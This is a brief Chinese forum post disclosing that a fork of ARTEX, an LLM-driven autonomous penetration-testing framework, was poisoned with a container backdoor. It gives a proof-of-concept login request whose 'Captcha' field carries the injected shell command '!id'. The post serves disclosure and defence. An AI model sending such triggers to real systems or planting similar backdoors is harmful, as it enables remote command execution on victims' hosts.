@lanvent 在 知名渗透框架ARTEX仓库二开被后门投毒 中发帖

ARTEX 是一个基于大语言模型(LLM)多 Agent 协作的自主 AI 渗透测试框架,能够自动完成资产侦察、漏洞挖掘、攻击路径规划、工具执行和漏洞验证,实现端到端的自动化渗透测试。 
简单来讲,一个 fork 了原始仓库的版本(原始仓库已删除),进行了容器投毒。

POC:
POST /api/auth/login HTTP/1.1Host: Content-Type: application/json
{"username": "x", "password": "y", "Captcha": "!id"}

Fork仓库 trhhubsd/ARTEX已被删除,删除前已拥有 1.3k stars